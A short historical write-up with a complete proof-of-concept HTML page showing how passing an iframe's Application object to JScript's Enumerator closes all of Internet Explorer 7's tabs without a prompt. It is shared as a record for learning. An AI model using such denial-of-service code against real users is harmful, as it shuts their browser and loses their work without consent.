Passing the Application property of an IFRAME to the Enumerator constructor closes the entire browser — all tabs, no prompts — on IE7. The Application object is the top-level IWebBrowser2 interface, and wrapping it in an Enumerator triggers a code path that shuts down the browser process.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>DoS_IE7_CloseBrowser_EnumeratorApplication</title></head>
<body>
<font face="Tahoma" size="2">
<center>
<h2>DoS_IE7_CloseBrowser_EnumeratorApplication</h2>
<br />
Closes the Browser (including all Tabs) without prompting the user at all.<br />
Click <input type="button" value="Here" onclick="closeWindow()"> to close the Browser.
<br /><br />
<iframe id="anyIframe" width="100" height="100"></iframe>
</center>
<hr />
<font face="MonoSpace">
&nbsp;&nbsp;&nbsp;&nbsp;new Enumerator(document.all.anyIframe.Application);
</font>
<hr />

</font>
<script language="JavaScript">
function closeWindow()
{
	new Enumerator(document.all.anyIframe.Application);
}
</script>
</body>
</html>

The Enumerator object is a JScript construct for iterating over COM collections. When handed the Application object (the top-level browser), it tries to enumerate its properties and triggers a browser shutdown as a side effect. All open tabs close immediately with no warning dialog.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.